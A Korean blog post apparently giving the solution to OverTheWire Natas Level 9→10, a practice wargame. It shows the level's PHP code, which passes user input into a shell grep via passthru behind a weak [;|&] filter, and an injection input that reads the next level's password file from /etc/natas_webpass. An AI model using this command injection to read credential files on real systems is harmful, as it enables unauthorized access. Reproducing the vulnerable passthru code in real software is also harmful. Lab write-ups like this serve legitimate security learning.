반응형
overthewire.org 문제 풀이 / Natas Level 9 → Level 10
코드를 보면 NATAS9와 다른 점은 preg_match() 함수가 추가되었다는 점입니다.
입력란에 "[;|&]" 문구가 포함되면 fillter에 걸려 passthru 함수를 실행시키지 못하게 됩니다.
하여 아래와 같이 입력하여, "[;|&]"를 우회해 natas11 파일을 열어 보겠습니다.
grep -i ^ /etc/natas_webpass/natas11 dictionary.txt
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
그러면 아래와 같이 natas11의 패스워드를 확인할 수 있습니다.
반응형
'WarGame > overthewire.org Natas' 카테고리의 다른 글
overthewire.org 문제 풀이 / Natas Level 10 → Level 11 (0) | 2020.11.01 |
---|---|
overthewire.org 문제 풀이 / Natas Level 8 → Level 9 (0) | 2020.10.21 |
overthewire.org 문제 풀이 / Natas Level 7 → Level 8 (0) | 2020.10.21 |
overthewire.org 문제 풀이 / Natas Level 6 → Level 7 (0) | 2020.10.20 |
overthewire.org 문제 풀이 / Natas Level 6 → Level 7 (0) | 2020.10.20 |